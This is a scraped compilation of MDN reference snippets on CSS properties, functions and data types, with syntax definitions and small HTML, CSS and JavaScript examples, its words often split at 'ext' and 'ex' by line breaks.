ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgtitleelement" target="_top"><rect x="331" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="406" y="94" font-size="12px" font-fam...
...ily="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgtitleelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
border-color - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...the shorthand:border-bottom-color: computed colorborder-left-color: computed colorborder-right-color: computed colorborder-top-color: computed coloranimation typeas each of the properties of the shorthand:border-bottom-color: a colorborder-left-color: a colorborder-right-color: a colorborder-top-color: a color formal syntax <color>{1,4}where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <h
ex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle>
examples complete border-color usage html <div id="justone"> <p><code>border-color: red;</code> is equivalent to</p> <ul><li><code>border-top-color: red;</code></li> <li><code>border-right-color: red;</code></li> <li><code>border-bottom-color: red;</code></li> <li><code>border-left-color: red;</code></li> </ul> </div> <div id="horzvert"> <p><code>border-color: gold red;</code>...
border-end-end-radius - CSS: Cascading Style Sheets
the border-end-end-radius css property defines a logical border radius on an element, which maps to a physical border radius that depends on on the element's writing-mode, direction, and t
ext-orientation.
... this is useful when building styles to work regardless of the t
ext orientation and writing mode.
...as absolute length it can be
expressed in any unit allowed by the css <length> data type.
...it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage>
examples border radius with vertical t
ext html <div> <p class="
examplet
ext">
example</p> </div> css content div { background-color: rebeccapurple; width: 120px; height: 120px; border-end-end-radius: 10px; } .
examplet
ext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-end-end-radius: 10px; } results specifications specification statu...
border-end-start-radius - CSS: Cascading Style Sheets
the border-end-start-radius css property defines a logical border radius on an element, which maps to a physical border radius depending on the element's writing-mode, direction, and t
ext-orientation.
... this is useful when building styles to work regardless of the t
ext orientation and writing mode.
...as absolute length it can be
expressed in any unit allowed by the css <length> data type.
...it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage>
examples border radius with vertical t
ext html <div> <p class="
examplet
ext">
example</p> </div> css div { background-color: rebeccapurple; width: 120px; height: 120px; border-end-start-radius: 10px; } .
examplet
ext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-end-start-radius: 10px; } results specifications specification status ...
border-inline - CSS: Cascading Style Sheets
border-inline: 1px; border-inline: 2px dotted; border-inline: medium dashed blue; the physical borders to which border-inline maps depends on the element's writing mode, directionality, and t
ext orientation.
... it corresponds to the border-top and border-bottom or border-right, and border-left properties, depending on the values defined for writing-mode, direction, and t
ext-orientation.
...: currentcolorapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-top-style: as specifiedborder-top-color: computed coloranimation typediscrete formal syntax <'border-top-width'> | <'border-top-style'> | <'color'>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <h
ex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle>
examples border with vertical t
ext html <div> <p class="
examplet
ext">
example t
ext</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .
examplet
ext { writing-mode: vertical-rl; border-inline: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'bo...
border-start-end-radius - CSS: Cascading Style Sheets
the border-start-end-radius css property defines a logical border radius on an element, which maps to a physical border radius depending on the element's writing-mode, direction, and t
ext-orientation.
... this is useful when building styles to work regardless of the t
ext orientation and writing mode.
...as absolute length it can be
expressed in any unit allowed by the css <length> data type.
...it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage>
examples border radius with vertical t
ext html <div> <p class="
examplet
ext">
example</p> </div> css div { background-color: rebeccapurple; width: 120px; height: 120px; border-start-end-radius: 10px; } .
examplet
ext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-start-end-radius: 10px; } results specifications specification status ...
border-start-start-radius - CSS: Cascading Style Sheets
the border-start-start-radius css property defines a logical border radius on an element, which maps to a physical border radius that depends on the element's writing-mode, direction, and t
ext-orientation.
... this is useful when building styles to work regardless of the t
ext orientation and writing mode.
...as absolute length it can be
expressed in any unit allowed by the css <length> data type.
...it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage>
examples border radius with vertical t
ext html <div> <p class="
examplet
ext">
example</p> </div> css div { background-color: rebeccapurple; width: 120px; height: 120px; border-start-start-radius: 10px; } .
examplet
ext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-start-start-radius: 10px; } results specifications specification statu...
border-top-style - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...it also applies to ::first-letter.inheritednocomputed valueas specifiedanimation typediscrete formal syntax <line-style>where <line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset
examples html <table> <tr> <td class="b1">none</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define lo...
...ok of the table */ table { border-width: 2px; background-color: #52e385; } tr, td { padding: 3px; } /* border-top-style
example classes */ .b1 {border-top-style: none;} .b2 {border-top-style: hidden;} .b3 {border-top-style: dotted;} .b4 {border-top-style: dashed;} .b5 {border-top-style: solid;} .b6 {border-top-style: double;} .b7 {border-top-style: groove;} .b8 {border-top-style: ridge;} .b9 {border-top-style: inset;} .b10 {border-top-style: outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-style' in that specification.
bottom - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentagesrefer to the height of the containing blockcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto
examples absolute and fixed positioning this
example demonstrates the difference in behavior of the bottom property, when position is absolute versus fixed.
... html <p>this<br>is<br>some<br>tall,<br>tall,<br>tall,<br>tall,<br>tall<br>content.</p> <div class="fixed"><p>fixed</p></div> <div class="absolute"><p>absolute</p></div> css p { font-size: 30px; line-height: 2em; } div { width: 48%; t
ext-align: center; background: rgba(55,55,55,.2); border: 1px solid blue; } .absolute { position: absolute; bottom: 0; left: 0; } .fixed { position: fixed; bottom: 0; right: 0; } result specifications specification status comment css positioned layout module level 3the definition of 'bottom' in that specification.
box-orient - CSS: Cascading Style Sheets
this is a property of the original css fl
exible box layout module draft, and has been replaced by a newer standard.
... see fl
exbox for information about the current standard.
... formal definition initial valueinline-axis (horizontal in xul)applies toelements with a css display value of box or inline-boxinheritednocomputed valueas specifiedanimation typediscrete formal syntax horizontal | vertical | inline-axis | block-axis | inherit
examples setting horizontal box orientation here, he box-orient property will cause the two <p> sections in the
example to display in the same line.
... html <div class="
example"> <p>i will be to the left of my sibling.</p> <p>i will be to the right of my sibling.</p> </div> css div.
example { display: -moz-box; /* mozilla */ display: -webkit-box; /* webkit */ display: box; /* as specified */ /* children should be oriented vertically */ -moz-box-orient: horizontal; /* mozilla */ -webkit-box-orient: horizontal; /* webkit */ box-orient: horizontal; /* as specified */ } result specifications not part of any standard.
column-rule-color - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... formal definition initial valuecurrentcolorapplies tomulticol elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <h
ex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle>
examples setting a blue column rule html <p>this is a bunch of t
ext split into three columns.
<display-box> - CSS: Cascading Style Sheets
none turns off the display of an element so that it has no effect on layout (the document is rendered as though the element did not
exist).
... more accessible markup with display: contents | hidde de vries display: contents is not a css reset | adrian roselli
examples in this first
example, the paragraph with a class of secret is set to display: none; the box and any content is now not rendered.
... display: none html <p>visible t
ext</p> <p class="secret">invisible t
ext</p> css p.secret { display: none; } result display: contents in this
example the outer <div> has a 2-pixel red border and a width of 300px.
... however it also has display: contents specified therefore this <div> will not be rendered, the border and width will no longer apply, and the child element will be displayed as if the parent had never
existed.
empty-cells - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... formal definition initial valueshowapplies totable-cell elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax show | hide
example showing and hiding empty table cells html <table class="table_1"> <tr> <td>moe</td> <td>larry</td> </tr> <tr> <td>curly</td> <td></td> </tr> </table> <br> <table class="table_2"> <tr> <td>moe</td> <td>larry</td> </tr> <tr> <td>curly</td> <td></td> </tr> </table> css .table_1 { empty-cells: show; } .table_2 { empty-cells: hide; } td,...
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetempty-cellschrome full support 1edge full support 12firefox full support 1ie full support 8opera ...
drop-shadow() - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... syntax drop-shadow(offset-x offset-y blur-radius color) the drop-shadow() function accepts a parameter of type <shadow> (defined in the box-shadow property), with the
exception that the inset keyword and spread parameters are not allowed.
...
examples setting a drop shadow using pixel offsets and blur radius /* black shadow with 10px blur */ drop-shadow(16px 16px 10px black) setting a drop shadow using rem offsets and blur radius /* reddish shadow with 1rem blur */ drop-shadow(.5rem .5rem 1rem #e23) specifications specification status filter effects module level 1the definition of 'drop-shadow()' in that s...
font-language-override - CSS: Cascading Style Sheets
for
example, a lot of fonts have a special character for the digraph fi that merge the dot on the "i" with the "f." however, if the language is set to turkish the typeface will likely know not to use the merged glyph; turkish has two versions of the "i," one with a dot (i) and one without (ı), and using the ligature would incorrectly transform a dotted "i" into a dotless "i." the font-language-overrid...
...this is useful, for
example, when the typeface you're using lacks proper support for the language.
...for
example, "eng" is english, and "kor" is korean.
...it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | <string>
examples using danish glyphs html <p class="para1">default language setting.</p> <p class="para2">this is a string with the <code>font-language-override</code> set to danish.</p> css p.para1 { font-language-override: normal; } p.para2 { font-language-override: "dan"; } result specifications specification status comment css fonts module level 4the definition of 'font-language-override' in that specification.
font-synthesis - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...fonts used for chinese, japanese, korean and other logographic scripts tend not to include these variants, and synthesizing them may impede the legibility of the t
ext.
...it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | [ weight | style ]
examples disabling font synthesis html <em class="syn">synthesize me!
outline-width - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... formal definition initial valuemediumapplies toall elementsinheritednocomputed valuean absolute length; if the keyword none is specified, the computed value is 0animation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick
examples setting an element's outline width html <span id="thin">thin</span> <span id="medium">medium</span> <span id="thick">thick</span> <span id="twopixels">2px</span> <span id="one
ex">1
ex</span> <span id="em">1.2em</span> css span { outline-style: solid; display: inline-block; margin: 20px; } #thin { outline-width: thin; } #medium { outline-width: medium; } #thick { outline-...
...width: thick; } #twopixels { outline-width: 2px; } #one
ex { outline-width: 1
ex; } #em { outline-width: 1.2em; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-width' in that specification.
outline - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...a notable
exception is input elements, which are given default styling by browsers.
...the transparent keyword maps to rgba(0,0,0,0).outline-width: an absolute length; if the keyword none is specified, the computed value is 0outline-style: as specifiedanimation typeas each of the properties of the shorthand:outline-color: a coloroutline-width: a lengthoutline-style: discrete formal syntax [ <'outline-color'> | <'outline-style'> | <'outline-width'> ]
examples using outline to set a focus style html <a href="#">this link has a special focus style.</a> css a { border: 1px solid; border-radius: 3px; display: inline-block; margin: 10px; padding: 5px; } a:focus { outline: 4px dotted #e73; outline-offset: 4px; background: #ffa; } result specifications specification status comment css basic user ...
padding-bottom - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... formal definition initial value0applies toall elements,
except table-row-group, table-header-group, table-footer-group, table-row, table-column-group and table-column.
... it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage>
examples setting padding bottom with pixels and percentages .content { padding-bottom: 5%; } .sidebox { padding-bottom: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-bottom' in that specification.
padding-inline - CSS: Cascading Style Sheets
the padding-inline css shorthand property defines the logical inline start and end padding of an element, which maps to physical padding properties depending on the element's writing mode, directionality, and t
ext orientation.
... /* <length> values */ padding-inline: 10px 20px; /* an absolute length */ padding-inline: 1em 2em; /* relative to the t
ext size */ padding-inline: 10px; /* sets both start and end values */ /* <percentage> values */ padding-inline: 5% 2%; /* relative to the nearest block container's width */ /* global values */ padding-inline: inherit; padding-inline: initial; padding-inline: unset; constituent properties this property is a shorthand for the following css properties: padding-inline-end padding-inline-start syntax values the padding-inline property takes the same values as the padding-left property.
... description values for this property correspond to the padding-top and padding-bottom, or padding-right, and padding-left property depending on the values defined for writing-mode, direction, and t
ext-orientation.
... formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typediscrete formal syntax <'padding-left'>{1,2}
examples setting inline padding for vertical t
ext html <div> <p class="
examplet
ext">
example t
ext</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .
examplet
ext { writing-mode: vertical-rl; padding-inline: 20px 40px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-inline' in that specification.
padding-left - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... formal definition initial value0applies toall elements,
except table-row-group, table-header-group, table-footer-group, table-row, table-column-group and table-column.
... it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage>
examples setting left padding using pixels and percentages .content { padding-left: 5%; } .sidebox { padding-left: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-left' in that specification.
padding-right - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... formal definition initial value0applies toall elements,
except table-row-group, table-header-group, table-footer-group, table-row, table-column-group and table-column.
... it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage>
examples setting right padding using pixels and percentages .content { padding-right: 5%; } .sidebox { padding-right: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-right' in that specification.
padding-top - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... formal definition initial value0applies toall elements,
except table-row-group, table-header-group, table-footer-group, table-row, table-column-group and table-column.
... it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage>
examples setting top padding using pixels and percentages .content { padding-top: 5%; } .sidebox { padding-top: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-top' in that specification.
repeating-linear-gradient() - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... and <color-stop-length> = [ <percentage> | <length> ]{1,2} and <color-hint> = [ <percentage> | <length> ]
examples zebra stripes body { width: 100vw; height: 100vh; } body { background-image: repeating-linear-gradient(-45deg, transparent, transparent 20px, black 20px, black 40px); /* with multiple color stop lengths */ background-image: repeating-linear-gradient(-45deg, transparent 0 20px, black 20px 40px); } ten repeating horizontal bars body { ...
... note: please see using css gradients for more
examples.
rotate - CSS: Cascading Style Sheets
this maps better to typical user interface usage, and saves having to remember the
exact order of transform functions to specify in the transform property.
...equivalent to a rotat
ex()/rotatey()/rotatez() (3d rotation) function.
... formal definition initial valuenoneapplies totransformable elementsinheritednocomputed valueas specifiedanimation typea transformcreates stacking cont
extyes formal syntax none | <angle> | [ x | y | z | <number>{3} ] && <angle>
examples rotate an element on hover html <div> <p class="rotate">rotation</p> </div> css * { box-sizing: border-box; } html { font-family: sans-serif; } div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; ...
... t
ext-align: center; } .rotate { transition: rotate 1s; } div:hover .rotate { rotate: 1 -0.5 1 180deg; } result specifications specification status comment css transforms level 2the definition of 'individual transforms' in that specification.
scroll-behavior - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... formal definition initial valueautoapplies toscrolling boxesinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | smooth
examples setting smooth scroll behavior html <nav> <a href="#page-1">1</a> <a href="#page-2">2</a> <a href="#page-3">3</a> </nav> <scroll-container> <scroll-page id="page-1">1</scroll-page> <scroll-page id="page-2">2</scroll-page> <scroll-page id="page-3">3</scroll-page> </scroll-container> css a { display: inline-block; width: 50px; t
ext-decoration: none; } nav, scroll-contai...
...ner { display: block; margin: 0 auto; t
ext-align: center; } nav { width: 339px; padding: 5px; border: 1px solid black; } scroll-container { display: block; width: 350px; height: 200px; overflow-y: scroll; scroll-behavior: smooth; } scroll-page { display: fl
ex; align-items: center; justify-content: center; height: 100%; font-size: 5em; } result specifications specification status comment css object model (cssom) view modulethe definition of 'scroll-behavior' in that specification.
scroll-margin-inline - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length>{1,2}
examples simple demonstration this
example implements something very similar to the interactive
example above,
except that here we'll
explain to you how it's implemented.
...the outer container is styled like this: .scroller { t
ext-align: left; width: 250px; height: 250px; overflow-x: scroll; display: fl
ex; box-sizing: border-box; border: 1px solid #000; scroll-snap-type: x mandatory; } the main parts relevant to the scroll snapping are overflow-x: scroll, which makes sure the contents will scroll and not be hidden, and scroll-snap-type: x mandatory, which dictates that scroll snapping must occur along the ho...
... the child elements are styled as follows: .scroller > div { fl
ex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: fl
ex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
...it would work just as well here to only set a scroll margin on that one edge, for
example with scroll-margin-inline: 0 1rem, or scroll-margin-inline-end: 1rem.
shape-margin - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... formal definition initial value0applies tofloatsinheritednopercentagesrefer to the width of the containing blockcomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea length, percentage or calc(); formal syntax <length-percentage>where <length-percentage> = <length> | <percentage>
examples adding a margin to a polygon html <section> <div class="shape"></div> we are not quite sure of any one thing in biology; our knowledge of geology is relatively very slight, and the economic laws of society are uncertain to every one
except some individual who attempts to set them forth; but before the world was fashioned the square on the hypotenuse was equal to the sum of the squares on...
... the other two sides of a right triangle, and it will be so after this world is dead; and the inhabitant of mars, if he
exists, probably knows its truth as we know it.</section> css section { max-width: 400px; } .shape { float: left; width: 150px; height: 150px; background-color: maroon; clip-path: polygon(0 0, 150px 150px, 0 150px); shape-outside: polygon(0 0, 150px 150px, 0 150px); shape-margin: 20px; } result specifications specification status comment css shapes module level 1the definition of 'shape-margin' in that specification.
<shape> - CSS: Cascading Style Sheets
example img.clip04 { clip: rect(10px, 20px, 20px, 10px); } specifications specification status comment css level 2 (revision 1)the definition of '<shape>' in that specification.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet<shape> deprecatedchrome full support 1edge full support 12firefox full support 1ie full support 5.5opera full support 9.5safari ...
... 1.0rect() deprecatedchrome full support 1edge full support 12firefox full support 1ie full support 5.5notes full support 5.5notes notes for internet
explorer versions 5.5 through 7, the rect() function uses spaces (instead of commas) to separate parameters.
... for internet
explorer 8 and later versions, only the standard comma-separated syntax is supported.opera full support 9.5safari full support 1.3webview android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full supportdeprecated.
<time> - CSS: Cascading Style Sheets
the <time> css data type represents a time value
expressed in seconds or milliseconds.
...
examples: 0s, 1.5s, -60s.
...
examples: 0ms, 150.25ms, -60000ms.
...
examples valid times 12s positive integer -456ms negative integer 4.3ms non-integer 14ms the unit is case-insensitive, although capital letters are not recommended.
perspective() - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... 10000100001000−1/d1
examples html <p>without perspective:</p> <div class="no-perspective-box"> <div class="face front">a</div> <div class="face top">b</div> <div class="face left">c</div> </div> <p>with perspective (9cm):</p> <div class="perspective-box-far"> <div class="face front">a</div> <div class="face top">b</div> <div class="face left">c</div> </div> <p>with perspective (4cm):</p> <div class="per...
...spective-box-closer"> <div class="face front">a</div> <div class="face top">b</div> <div class="face left">c</div> </div> css .face { position: absolute; width: 100px; height: 100px; line-height: 100px; font-size: 100px; t
ext-align: center; } p + div { width: 100px; height: 100px; transform-style: preserve-3d; margin-left: 100px; } .no-perspective-box { transform: rotat
ex(-15deg) rotatey(30deg); } .perspective-box-far { transform: perspective(9cm) rotat
ex(-15deg) rotatey(30deg); } .perspective-box-closer { transform: perspective(4cm) rotat
ex(-15deg) rotatey(30deg); } .top { background-color: skyblue; transform: rotat
ex(90deg) translate3d(0, 0, 50px); } .left { background-color: pink; transform: rotatey(-90deg) translate3d(0, 0, 50px); } .front...
translateZ() - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... in the above interactive
examples, perspective: 550px; (to create a 3d space) and transform-style: preserve-3d; (so the children, the 6 sides of the cube, are also positioned in the 3d space), have been set on the cube.
... 10000100001t0001
examples in this
example, two boxes are created.
transition-property - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...as such, you should avoid including any properties in the list that don't currently animate, as someday they might, causing un
expected results.
... formal definition initial valueallapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | <single-transition-property>#where <single-transition-property> = all | <custom-ident>
examples there are several
examples of css transitions included in the main css transitions article.
transition - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...in short,
extra transition descriptions beyond the number of properties actually being animated are ignored.
... a single component">[0,1]>, <number>, <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>)<step-timing-function> = step-start | step-end | steps(<integer>[, <step-position>]?)where <step-position> = jump-start | jump-end | jump-none | jump-both | start | end
examples there are several more
examples of css transitions included in the using css transitions article.
translate - CSS: Cascading Style Sheets
this maps better to typical user interface usage, and saves having to remember the
exact order of transform functions to specify in the transform value.
... formal definition initial valuenoneapplies totransformable elementsinheritednopercentagesrefer to the size of bounding boxcomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea transformcreates stacking cont
extyes formal syntax none | <length-percentage> [ <length-percentage> <length>?
... ]?where <length-percentage> = <length> | <percentage>
examples html <div> <p class="translate">translation</p> </div> css * { box-sizing: border-box; } html { font-family: sans-serif; } div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; t
ext-align: center; } .translate { transition: translate 1s; } div:hover .translate { translate: 200px 50px; } result specifications specification status comment css transforms level 2the definition of 'individual transforms' in that specification.
... initial valuenoneapplies totransformable elementsinheritednopercentagesrefer to the size of bounding boxcomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea transformcreates stacking cont
extyes ...
Used value - CSS: Cascading Style Sheets
example this
example computes and displays the used width value of three elements (updates on resize): html <div id="no-width"> <p>no
explicit width.</p> <p class="show-used-width">..</p> <div id="width-50"> <p>
explicit width: 50%.</p> <p class="show-used-width">..</p> <div id="width-inherit"> <p>
explicit width: inherit.</p> <p class="show-used-width">..</p> </...
... </div> </div> css #no-width { width: auto; } #width-50 { width: 50%; } #width-inherit { width: inherit; } /* make results easier to see */ div { border: 1px solid red; padding: 8px; } javascript function updateusedwidth(id) { var div = document.queryselector(`#${id}`); var par = div.queryselector('.show-used-width'); var wid = window.getcomputedstyle(div)["width"]; par.t
extcontent = `used width: ${wid}.`; } function updateallusedwidths() { updateusedwidth("no-width"); updateusedwidth("width-50"); updateusedwidth("width-inherit"); } updateallusedwidths(); window.addeventlistener('resize', updateallusedwidths); result difference from computed value css 2.0 defined only computed value as the last step in a property's calculation.
...an element could then
explicitly inherit a width/height of a parent, whose computed value is a percentage.
...the following are the css 2.1 properties that do depend on layout, so they have a different computed value and used value: (taken from css 2.1 changes: specified, computed, and actual values): background-position bottom, left, right, top height, width margin-bottom, margin-left, margin-right, margin-top min-height, min-width padding-bottom, padding-left, padding-right, padding-top t
ext-indent specification specification status comment css level 2 (revision 2)the definition of 'used value' in that specification.
width - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... accessibility concerns ensure that elements set with a width aren't truncated and don't obscure other content when the page is zoomed to increase t
ext size.
... mdn understanding wcag, guideline 1.4
explanations understanding success criterion 1.4.4 | understanding wcag 2.0 formal definition initial valueautoapplies toall elements but non-replaced inline elements, table rows, and row groupsinheritednopercentagesrefer to the width of the containing blockcomputed valuea percentage or auto or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage>
examples default width p.goldie { background: gold; } <p class="goldie">the mozilla community produces a lot of great software.</p> pixels and ems .px_length { width: 200px; background-color: red; color: white; bor...
Using device orientation with 3D transforms - Developer guides
using orientation to rotate an element the easiest way to convert orientation data to a 3d transform is basically to use the alpha, gamma, and beta values as rotatez, rotat
ex and rotatey values.
